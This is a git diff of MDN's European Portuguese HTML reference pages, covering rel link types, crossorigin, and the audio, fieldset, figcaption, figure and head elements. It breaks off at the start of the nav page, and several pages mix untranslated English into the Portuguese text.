Compatível com elementos {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}. O valor indica que a hiperligação aponta para informação de licenciamento relativa ao documento atual. Deste modo, sabe-se que o conteúdo principal do documento atual está protegido pela licença de copyright descrita no documento referenciado. Mesmo quando utilizado num descendente que não pertence ao elemento {{HTMLElement("head")}}, não há distinção entre uma hiperligação para uma licença associada ou a parte do documento ou ao documento em geral. Esta distinção só é possível através da informação na página.

+ +
<link rel="license" href="#license">
+ +

Nota: Apesar de reconhecido, o valor "equivalente" copyright não é correto, pelo que deve ser evitado.

+
+
{{htmlattrdef("manifest")}}
+
Manifesto web app. Requer o protocolo CORS para adquirir dados de origens diferentes (cross-origin).
+
{{htmlattrdef("modulepreload")}}
+
Útil para questões de performance, compatível com elementos {{htmlelement('link')}} em todo o documento. Informa o browser de que este deve antecipadamente descarregar o script referenciado (com as dependências respetivas), e armazená-lo no módulo de mapa de módulos para futura avaliação. Hiperligações com modulepreload podem ser usados para garantir que o recurso é descarregado com o módulo pronto (mas não avaliado) no mapa de módulo ainda antes de ser necessário. Veja também a página sobre tipos de link: modulepreload.
+
{{htmlattrdef("next")}}
+
Compatível com {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Indica que o documento atual pertence a uma série de documentos, e que o documento na série que se segue é referenciado pelo elemento em questão. Quando o valor está presente num elemento <link>, os browsers podem assumir que este recurso vai ser necessário posteriormente, e considerar esta informação uma "resource hint" (dica de recurso que podem descarregar antecipadamente).
+
{{htmlattrdef("nofollow")}}
+
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. nofollow informa spiders (de motores de busca) de que devem ignorar a relação definida pelo link. Este valor pode indicar que o dono do documento atual não confia ou aprova o documento referenciado. nofollow é frequentemente incluído por Search Engine Optimizers (otimizadores de motores de busca) para dar a impressão de que os seus link farms não são páginas de spam.
+
{{htmlattrdef("noopener")}}
+
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando selecionado, o link cria um contexto de navegação de topo (top-level browsing context) que não é auxiliar (auxiliary), mesmo que tenha condições para criar um contexto auxiliar (ex.: por ter um valor para target adequado). Por outras palavras, o link comporta-se como se window.opener fosse nulo e target="_parent" estivesse definido.
+
+ noopener faz o contrário de {{anch("opener")}}.
+
{{htmlattrdef("noreferrer")}}
+
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando incluído, o referrer (página com referência para o recurso) desconhecido. Deste modo, o pedido não inclui Referer no header, e cria um contexto de navegação de topo (top-level browsing context), como se noopener também estivesse definido.
+
{{htmlattrdef("opener")}}
+
Cria um contexto de navegação auxiliar (auxiliary browsing context), mesmo que o link tenha características para criar um contexto de navegação que não fosse auxiliar (via target="_blank").
+
opener faz o contrário de {{anch("noopener")}}.
+
{{htmlattrdef("pingback")}}
+
Define o endereço do servidor de pingback que controla pingbacks para o documento atual.
+
{{htmlattrdef("preconnect")}}
+
Define que o user agent deve antecipadamente conectar-se à origem do recurso apontado.
+
{{htmlattrdef("prefetch")}}
+
Define que o user agent deve antecipadamente descarregar e guardar em cache o recurso apontado. Deste modo, o recurso fica pronto se requisitado posteriormente.
+
{{htmlattrdef("preload")}}
+
Define que o user agent deve antecipadamente descarregar e guardar em cache o recurso apontado para a navegação atual. Deste modo, o recurso está preparado para ser usado num potencial destino da navegação, definido pelo atributo as (a prioridade associada a este destino também é considerada).
+
{{htmlattrdef("prerender")}}
+
Define que o user agent deve antecipadamente descarregar e renderizar o recurso apontado, acelerando respostas a pedidos equivalentes.
+
{{htmlattrdef("prev")}}
+
+

Equivalente à palavra-chave {{anch("next")}}, compatível com os elementos {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. O valor prev indica que o documento atual pertence a uma série de documentos, sendo o link referenciado para o documento que se segue ao atual.

+ +

Nota: O valor sinónimo previous não deve ser usado incorrect and should not be used, porque é incorreto.

+
+
{{htmlattrdef("search")}}
+
+

Compatível com elementos {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. search indica que o link referencia um documento com uma interface para pesquisar por conteúdo do documento atual, seja no site ou em recursos relacionados.

+ +

Se o atributo type do elemento for application/opensearchdescription+xml, então o recurso apontado é um plugin OpenSearch que pode ser facilmente adicionado a alguns browsers, como o Firefox ou o Internet Explorer.

+
+
{{htmlattrdef("stylesheet")}}
+
+

Compatível com elementos {{htmlelement('link')}}. Importa um recurso externo que é uma stylesheet (folha de estilos). Caso o link aponte para uma stylesheet do tipo text/css, então pode-se omitir o atributo type.

+ +

Apesar do valor identificar o link como uma stylesheet, outros atributos ou valores poderão determinar se esta é descarregada ou usada.

+ +

Quando o valor stylesheet é usado em conjunto com {{anch('alternate')}}, passa a definir uma stylesheet alternativa. Neste caso, deve ter o atributo title com um valor não-vazio.

+ +

O recurso stylesheet externo não será usado nem descarregado em contextos multimédia que não correspondam ao definido pelo atributo media (ex.: se o link para a stylesheet tiver um atributo media com valor "print", então a stylesheet não será descarregada quando a página é renderizada numa tela).

+ +

Requer o uso do protocolo CORS para pedidos com origens diferentes.

+
+
{{htmlattrdef("tag")}}
+
Compatível com elementos {{htmlelement('a')}} e {{htmlelement('area')}}. Define que o link referenciado identifica uma palavra-chave que se aplica ao documento atual. Este tipo de link não deve identificar palavras-chave numa tag cloud, porque estas aplicam-se apenas a um grupo de páginas, e não a uma página só (que é o objetivo do valor tag).
+
+ +

Valores que não são standard

+ +
+
apple-touch-icon-precomposed
+
+
 <!-- iPad de terceira geração com tela Retina de alta resolução: -->
+  <link rel="apple-touch-icon-precomposed" sizes="144x144" href="/static/img/favicon144.e7e21ca263ca.png">
+  <!-- iPhone com tela Retina de alta resolução: -->
+  <link rel="apple-touch-icon-precomposed" sizes="114x114" href="/static/img/favicon114.d526f38b09c5.png">
+  <!-- iPad de primeira e segunda gerações: -->
+  <link rel="apple-touch-icon-precomposed" sizes="72x72" href="/static/img/favicon72.cc65d1d762a0.png">
+  <!-- iPhone e iPod Touch sem telas Retina, e dispositivos Android 2.1 ou superior: -->
+  <link rel="apple-touch-icon-precomposed" href="/static/img/favicon57.de33179910ae.png">
+  <!-- favicon básico -->
+  <link rel="shortcut icon" href="/static/img/favicon32.7f3da72dcea1.png">
+
+
+ +

Compatibilidade de Browsers do atributo rel em geral

+ + + +

{{Compat("html.elements.attributes.rel")}}

+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentários
{{SpecName('HTML WHATWG', 'links.html#linkTypes', 'rel attribute')}}{{Spec2('HTML WHATWG')}}Adicionado opener. noopener passou a ser definido por omissão com target="_blank".
{{SpecName('HTML5 W3C', 'links.html#linkTypes', 'rel attribute')}}{{Spec2('HTML5 W3C')}}Adicionados tag, search, prefetch, noreferrer, nofollow, icon, e author.
+ copyright passou a ser license.
+ Removidos start, chapter, section, subsection, e appendix
{{SpecName("Preload", "#x2.link-type-preload", "preload")}}{{Spec2("Preload")}}Adicionado preload.
{{SpecName("Resource Hints", "#dfn-preconnect", "preconnect")}}{{Spec2("Resource Hints")}}Adicionados dns-prefetch, preconnect, e prerender.
{{SpecName("HTML4.01", "types.html#type-links", "link types")}}{{Spec2("HTML4.01")}}Adicionados alternate, stylesheet, start, chapter, section, subsection, appendix, e bookmark.
+ previous passou a ser prev.
+ Removidos top, e search.
{{SpecName("HTML3.2", "#link", "<link>")}} +

{{Spec2("HTML3.2")}} (Obsoleto)

+
Adicionados top, contents, index, glossary, copyright, next, previous, help, e search.
{{RFC(1866, "HTML 2.0")}}{{Spec2("HTML2.0")}}(Obsolete)Definição inicial.
+ + + + + +

{{Compat("html.elements.link.rel")}}

+ +

Veja também

+ + diff --git a/files/pt-pt/web/html/cors_settings_attributes/index.html b/files/pt-pt/web/html/cors_settings_attributes/index.html deleted file mode 100644 index 42f32f77e8..0000000000 --- a/files/pt-pt/web/html/cors_settings_attributes/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: 'Atributo CORS: Solicitar acesso CORS para o conteúdo' -slug: Web/HTML/CORS_settings_attributes -tags: - - Avançado - - CORS - - HTML - - Precisa de Exemplo - - Referencia - - Segurança -translation_of: Web/HTML/Attributes/crossorigin ---- -

In HTML5, some HTML elements which provide support for CORS, such as {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("script") }}, have a crossorigin attribute (crossOrigin property), which lets you configure the CORS requests for the element's fetched data. These attributes are enumerated, and have the following possible values:

- - - - - - - - - - - - - - - - -
KeywordDescription
anonymousCORS requests for this element will have the credentials flag set to 'same-origin'.
use-credentialsCORS requests for this element will have the credentials flag set to 'include'.
- -

By default (that is, when the attribute is not specified), CORS is not used at all. The "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side SSL certificates or HTTP authentication as described in the Terminology section of the CORS specification, unless it is in the same origin.

- -

An invalid keyword and an empty string will be handled as the anonymous keyword.

- -

Exemplo: crossorigin with the script element

- -

You can use the following {{HTMLElement("script")}} element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials.

- -
<script src="https://example.com/example-framework.js"
-        crossorigin="anonymous"></script>
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilidade de navegador

- -

<script crossorigin>

- - - -

{{Compat("html.elements.script.crossorigin")}}

- -

<video crossorigin>

- - - -

{{Compat("html.elements.video.crossorigin")}}

- -

Consulte também

- - - -
{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}
diff --git a/files/pt-pt/web/html/element/audio/index.html b/files/pt-pt/web/html/element/audio/index.html new file mode 100644 index 0000000000..f8b7c3229b --- /dev/null +++ b/files/pt-pt/web/html/element/audio/index.html @@ -0,0 +1,47 @@ +--- +title: Audio +slug: Web/HTML/Elemento/Audio +translation_of: Web/HTML/Element/audio +--- +

{{ gecko_minversion_header("1.9.1") }}

+

O elemento audio é usado para embutir conteúdo de som em um documento HTML or XHTML.  O elemento audio foi adicionado como parte do HTML 5.

+ +
+ Nota: Atualmente, o Firefox suporta apenas Vorbis, em recipientes Ogg, assim como o formato WAV. O servidor também deve servir o arquivo usando o MIME type correto para que o Firefox o reproduza corretamente.
+

Atributos

+
+
+ autoplay
+
+ Um atributo boleano; se especificado (mesmo se o valor for "false"!), o áudio começará a tocar automaticamente assim que ele conseguir, portanto, sem parar para finalizar o carregamento dos dados.
+
+ controls {{ unimplemented_inline() }} {{ bug(449149) }}
+
+ Se este atributo estiver presente, o navegador oferecerá controles para permitir que o usuário controle a reprodução do áudio, incluindo volume, procura, e pausa/continuar.
+
+ loop {{ unimplemented_inline() }} {{ bug(449157) }}
+
+ Um atributo boleano; se especificado, quando alcançar o fim do áudio, voltará ao início automaticamente.
+
+ src
+
+ A URL do áudio a embutir. Este é assunto para protocolos de acesso HTTP (en).
+
+

O deslocamento de tempo é especificado como um valor de ponto flutuante indicando o número de segundos do deslocamento.

+
+ Nota: A definição do valor de deslocamento de tempo ainda não está completa na especificação do HTML 5 e está sujeita a mudanças.
+

Exemplos

+
<audio src="http://developer.mozilla.org/@api/deki/files/2926/=AudioTest_(1).ogg" autoplay>
+  Seu navegador não suporta o elemento <code>audio</code>.
+</audio>
+
+

Reproduz o arquivo de áudio anexado à versão em inglês deste artigo.

+

Veja Também

+ diff --git a/files/pt-pt/web/html/element/fieldset/index.html b/files/pt-pt/web/html/element/fieldset/index.html new file mode 100644 index 0000000000..44fd353489 --- /dev/null +++ b/files/pt-pt/web/html/element/fieldset/index.html @@ -0,0 +1,177 @@ +--- +title: '
: O elemento "Field Set"' +slug: Web/HTML/Elemento/fieldset +tags: + - Elemento + - Formulários HTML + - HTML + - Referencia + - Web + - formulários +translation_of: Web/HTML/Element/fieldset +--- +

elemento HTML <fieldset> é utilizado para agrupar vários controlos, bem como as etiquetas ({{HTMLElement("label")}}) dentro de um formulário da Web.

+ +
{{EmbedInteractiveExample("pages/tabbed/fieldset.html", "tabbed-standard")}}
+ + + +

As the example above shows, the <fieldset> element provides a grouping for a part of an HTML form, with a nested {{htmlelement("legend")}} element providing a caption for the <fieldset>. It takes few attributes, the most notable of which are form, which can contain the id of a {{htmlelement("form")}} on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go.

+ +

Atributos

+ +

This element includes the global attributes.

+ +
+
{{htmlattrdef("disabled")}} {{HTMLVersionInline(5)}}
+
If this Boolean attribute is set, all form controls that are descendants of the <fieldset>, are disabled, meaning they are not editable but will be submitted along with <form> in comparison with {{htmlattrdef("disabled")}} attribute on form controls. They won't receive any browsing events, like mouse clicks or focus-related events. By default browsers display such controls grayed out. Note that form elements inside the {{HTMLElement("legend")}} element won't be disabled.
+
{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}
+
This attribute takes the value of the id attribute of a {{HTMLElement("form")}} element you want the <fieldset> to be part of, even if it is not inside the form.
+
{{htmlattrdef("name")}} {{HTMLVersionInline(5)}}
+
The name associated with the group. +
Note: The caption for the fieldset is given by the first {{HTMLElement("legend")}} element nested inside it.
+
+
+ +

Estilizar com CSS

+ +

There are several special styling considerations for <fieldset>.

+ +

Its {{cssxref("display")}} value is block by default, and it establishes a block formatting context. If the <fieldset> is styled with an inline-level display value, it will behave as inline-block, otherwise it will behave as block. By default there is a 2px groove border surrounding the contents, and a small amount of default padding. The element has min-inline-size: min-content by default.

+ +

If a <legend> is present, it is placed over the block-start border. The <legend> shrink-wraps, and also establishes a formatting context. The display value is blockified (for example, display: inline behaves as block).

+ +

There will be an anonymous box holding the contents of the <fieldset>, which inherits certain properties from the <fieldset>. If the <fieldset> is styled with display: grid or display: inline-grid, then the anonymous box will be a grid formatting context. If the <fieldset> is styled with display: flex or display: inline-flex, then the anonymous box will be a flex formatting context. Otherwise it establishes a block formatting context.

+ +

You can feel free to style the <fieldset> and <legend> in any way you want to suit your page design.

+ +
+

Nota: as of this writing, there are bugs in Microsoft Edge and Google Chrome which prevent flexbox and grid layouts from being used inside a {{HTMLElement("fieldset")}}. This GitHub issue provides bug tracking links.

+
+ +

Exemplo

+ +

Simple fieldset

+ +

This example shows a really simple <fieldset> example, with a <legend>, and a single control inside it.

+ +
<form action="#">
+  <fieldset>
+    <legend>Simple fieldset</legend>
+    <input type="radio" id="radio">
+    <label for="radio">Spirit of radio</label>
+  </fieldset>
+</form>
+ +

{{ EmbedLiveSample('Simple_fieldset', '100%', '80') }}

+ +

"fieldset" desativado

+ +

This example shows a disabled <fieldset> with two controls inside it. Note how both the controls are disabled due to being inside a disabled <fieldset>.

+ +
<form action="#">
+  <fieldset disabled>
+    <legend>Disabled fieldset</legend>
+    <div>
+      <label for="name">Name: </label>
+      <input type="text" id="name" value="Chris">
+    </div>
+    <div>
+      <label for="pwd">Archetype: </label>
+      <input type="password" id="pwd" value="Wookie">
+    </div>
+  </fieldset>
+</form>
+ +

{{ EmbedLiveSample('Disabled_fieldset', '100%', '110') }}

+ +

Resumo técnico

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Categorias de conteúdoFlow content, sectioning root, listed, form-associated element, palpable content.
Conteúdo permitidoAn optional {{HTMLElement("legend")}} element, followed by flow content.
Omissão de etiqueta{{no_tag_omission}}
Permitted parentsAny element that accepts flow content.
Permitted ARIA roles{{ARIARole("group")}}, {{ARIARole("presentation")}}
Interface DOM{{domxref("HTMLFieldSetElement")}}
+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'forms.html#the-fieldset-element', '<fieldset>')}}{{Spec2('HTML WHATWG')}}Definition of the fieldset element
{{SpecName('HTML5 W3C', 'forms.html#the-fieldset-element', '<fieldset>')}}{{Spec2('HTML5 W3C')}}
{{SpecName('HTML4.01', 'interact/forms.html#h-17.10', '<fieldset>')}}{{Spec2('HTML4.01')}}Initial definition
+ +

Compatibilidade de navegador

+ + + +

{{Compat("html.elements.fieldset")}}

+ +

Consulte também:

+ + + +
{{HTMLRef}}
diff --git a/files/pt-pt/web/html/element/figcaption/index.html b/files/pt-pt/web/html/element/figcaption/index.html new file mode 100644 index 0000000000..e40a044136 --- /dev/null +++ b/files/pt-pt/web/html/element/figcaption/index.html @@ -0,0 +1,101 @@ +--- +title: figcaption +slug: Web/HTML/Elemento/figcaption +translation_of: Web/HTML/Element/figcaption +--- +

Introdução

+ +

O Elemento HTML Figcaption(<figcaption>) representa uma legenda ou uma legenda associada com uma figura ou ilustração descrita pelo resto dos dados do elemento {{ HTMLElement("figure") }} que seu elemento pai.

+ +

Contexto de Uso

+ + + + + + + + + + + + + + + + + + + + +
Conteúdo permitidoFlow content
Omissão de Tag +

Nenhum, tanto a tag de início e fim são obrigatórias

+
Elemento Pai PermitidoUm Elemento {{ HTMLElement("figure") }}
Documento NormativoHTML5, section 4.5.12
+ +

Atributos

+ +

Esse elemento não tem nenhum outro atributo além dos atributos globais, comum a todos os elementos.

+ +

Interface DOM

+ +

Esse elemento implementa a interface HTMLElement.

+ +

Examples

+ +

Favor consulte o página {{ HTMLElement("figure") }} para exemplos de <figcaption>.

+ +

Compatibilidade

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("2.0") }}9.011.105.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0{{ CompatGeckoMobile("2.0") }}9.011.05.1 (iOS 5.0)
+
+ +

Ver Também

+ + diff --git a/files/pt-pt/web/html/element/figure/index.html b/files/pt-pt/web/html/element/figure/index.html new file mode 100644 index 0000000000..f5d66411d9 --- /dev/null +++ b/files/pt-pt/web/html/element/figure/index.html @@ -0,0 +1,56 @@ +--- +title: figure +slug: HTMLToDelete/Element/figure +translation_of: Web/HTML/Element/figure +--- +

O elemento de figura HTML (<figure>) representa uma tag de conteúdo próprio, frequentemente com legenda. Geralmente referenciada idendependente do fluxo principal do documento, podendo assim ser movido atravéz do fluxo principal sem afeta-lo.

+ +
+

Notas de Uso:

+ +
    +
  • Iniciando uma seção raiz o escopo do conteúdo do elemento <figure> é excluído do escopo principal do documento.
  • +
  • Uma legenda pode ser associada com o elemento <figure> inserindo um elemento {{ HTMLElement("figcaption") }} dentro dele (podendo ser primeiro ou ultimo nó filho).
  • +
+
+ +

Contexto de Uso

+ + + + + + + + + + + + + + + + + + + + + + + + +
TipoSeccionando orig
Contexto PermitidoUm elemento {{ HTMLElement("figcaption") }}, seguido pelo fluxo do conteúdo; ou o fluxo do conteúdo seguido pelo elemento {{ HTMLElement("figcaption") }}
Omissão de TagNenhum, ambos marcam o início e o fim da tag são obrigatórios
Elementos Permitidos de OrigemQualquer elemento que aceita elementos de fluxo.
Documento NormativoHTML5, section 4.5.11
+ +

Atributos

+ +

Esse elemento não tem outros atributos além dos atributos globais, comuns para todos elementos.

+ +

DOM Interface

+ +

Esse elemento implementa a interface HTMLElement.

+ +

Veja também

+ + diff --git a/files/pt-pt/web/html/element/head/index.html b/files/pt-pt/web/html/element/head/index.html new file mode 100644 index 0000000000..8285b2f2af --- /dev/null +++ b/files/pt-pt/web/html/element/head/index.html @@ -0,0 +1,108 @@ +--- +title: ' : O elemento dos metadados (Cabeçalho) do documento' +slug: Web/HTML/Elemento/head +tags: + - Elemento + - HTML + - 'HTML:Metadata content' + - Referencia + - Web +translation_of: Web/HTML/Element/head +--- +
{{HTMLRef}}
+ +

O elemento <head> de HTML fornece a informação geral (metadados) sobre o documento, incluindo o seu título e hiperligações para as suas folhas de estilo e scripts.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Categorias de conteúdoNone.
Permitted contentIf the document is an {{HTMLElement("iframe")}} {{htmlattrxref("srcdoc", "iframe")}} document, or if title information is available from a higher level protocol, zero or more elements of metadata content.
+ Otherwise, one or more elements of metadata content where exactly one is a {{HTMLElement("title")}} element.
Tag omissionThe start tag may be omitted if the first thing inside the head element is an element.
+ The end tag may be omitted if the first thing following the head element is not a space character or a comment.
Permitted parentsAn {{HTMLElement("html")}} element, as its first child.
Permitted ARIA rolesNone
DOM interface{{domxref("HTMLHeadElement")}}
+ +

Atributos

+ +

Este elemento inclui os atributos globais.

+ +
+
{{htmlattrdef("profile")}} {{obsolete_inline}}
+
Os URIs de um ou mais perfis de metadados, separados por um espaço em branco.
+
+ +

Exemplo

+ +
<html>
+  <head>
+    <title>Document title</title>
+  </head>
+</html>
+
+ +

Notas

+ +

Modern, HTML5-compliant browsers automatically construct a <head> element if the tags are omitted in the markup. This behavior cannot be guaranteed in ancient browsers.

+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}}{{Spec2('HTML WHATWG')}}No change from latest shapshot
{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}}{{Spec2('HTML5 W3C')}}Obsoleted profile
{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '<head>')}}{{Spec2('HTML4.01')}} 
+ +

Compatibilidade de navegador

+ + + +

{{Compat("html.elements.head")}}

+ +

Consulte também

+ + diff --git a/files/pt-pt/web/html/element/index.html b/files/pt-pt/web/html/element/index.html new file mode 100644 index 0000000000..c47907bce9 --- /dev/null +++ b/files/pt-pt/web/html/element/index.html @@ -0,0 +1,107 @@ +--- +title: Referência dos elementos HTML +slug: Web/HTML/Elemento +tags: + - Elemento + - HTML + - 'I10n:priority' + - Referencia + - Web + - básico +translation_of: Web/HTML/Element +--- +
{{HTMLSidebar("Elements")}}
+ +

Esta página lista todos os {{Glossary("HTML")}} {{Glossary("Element","elementos")}}. Eles são agrupados por função para ajudá-lo a encontrar facilmente o que tem em mente. Uma lista alfabética de todos os elementos é fornecida na barra lateral na página de cada elemento, bem como nesta.

+ +
+

Para mais informação sobre os conceitos básicos dos elementos e atributos HTML, consulte a secção sobre elementos no artigo de Introdução ao HTML.

+
+ +

Raiz principal

+ +

{{HTMLRefTable("HTML Root Element")}}

+ +

Metadados do documento

+ +

Os metadados contêm informação acerca da página. Incluem informação sobre estilos, scripts e dados que ajudam a usar o software ({{Glossary("search engine", "motor de busca")}}, {{Glossary("Browser","Browsers")}}, etc.) e a interpretar a página. Os metadados para estilos e scripts devem ser definidos na página ou num link para um ficheiro que contém a informação.

+ +

{{HTMLRefTable("HTML Document Metadata")}}

+ +

Secção de raiz

+ +

{{HTMLRefTable("Sectioning Root Element")}}

+ +

Segmentação de conteúdo

+ +

Os elementos de segmentação de conteúdo permitem-lhe organizar o documento em partes lógicas. Use os elementos de segmentação para criar um esquema vasto dos conteúdos da sua página, incluindo a navegação de cabeçalho e rodapé, e elementos de título para identificar secções de conteúdo.

+ +

{{HTMLRefTable("HTML Sections")}}

+ +

Conteúdo textual

+ +

Use elementos textuais HTML para organizar blocos ou secções de conteúdo situados entre os elementos </body> de início {{HTMLElement("body")}} e fim. Sendo importantes para {{Glossary("accessibility")}} e {{Glossary("SEO")}}, estes elementos identificam o propósito ou estrutura desse conteúdo.

+ +

{{HTMLRefTable("HTML Grouping Content")}}

+ +

Semântica de texto em linha

+ +

Use a semântica de texto em linha do HTML para definir o significado, estrutura ou estilo de uma palavra, linha ou texto arbitrário.

+ +

{{HTMLRefTable("HTML Text-Level Semantics")}}

+ +

Imagem e multimédia

+ +

O HTML suporta vários recursos multimédia como imagens, áudio e vídeo.

+ +

{{HTMLRefTable("multimedia")}}

+ +

Conteúdo incorporado

+ +

Além do conteúdo multimédia regular, o HTML poderá incluir diversos outros conteúdos, ainda que a interação com este nem sempre seja fácil.

+ +

{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}

+ +

Scripting

+ +

De modo a criar conteúdos dinâmicos e aplicações Web, o HTML suporta o uso de linguages de script, nomeadamente JavaScript. Certos elementos suportam esta capacidade.

+ +

{{HTMLRefTable("HTML Scripting")}}

+ +

Edições de demarcação

+ +

Estes elementos permitem-lhe dar indicações sobre que partes do texto específicas foram alteradas.

+ +

{{HTMLRefTable("HTML Edits")}}

+ +

Conteúdo de tabela

+ +

Estes elementos são usados para criar e manipular dados tabulares.

+ +

{{HTMLRefTable("HTML tabular data")}}

+ +

Formulários

+ +

O HTML fornece um número de elementos que podem ser usados em conjunto para criar formulários que o utilizador poderá preencher e submeter na página web ou aplicação. Existe uma considerável quantidade de informação sobre o mesmo disponível na página HTML forms guide.

+ +

{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}

+ +

Elementos interativos

+ +

O HTML oferece uma selecção de elementos que ajudam a criar objectos interativos de interface com o utilizador.

+ +

{{HTMLRefTable("elementos interativos HTML")}}

+ +

Componentes da Web

+ +

Os Componentes Web são uma tecnologia relacionada com o HTML que possibilitam a criação e utilização de elementos personalizados como se se tratassem de elementos HTML vulgares. Adicionalmente, poderá criar versões personalizadas de elementos HTML standard.

+ +

{{HTMLRefTable({"include":["Web Components"],"exclude":["Deprecated", "Obsolete"]})}}

+ +

Elementos obsoletos e desaprovados

+ +
+

Aviso: Estes são elementos HTML antigos que foram desaprovados e não devem ser usados. Nunca deve usá-los em projectos novos, e deve substitui-los em antigos projectos assim que possa. Os mesmos são aqui listados apenas para informação.

+
+ +

{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}

diff --git a/files/pt-pt/web/html/element/nav/index.html b/files/pt-pt/web/html/element/nav/index.html new file mode 100644 index 0000000000..3dfc714e23 --- /dev/null +++ b/files/pt-pt/web/html/element/nav/index.html @@ -0,0 +1,99 @@ +--- +title: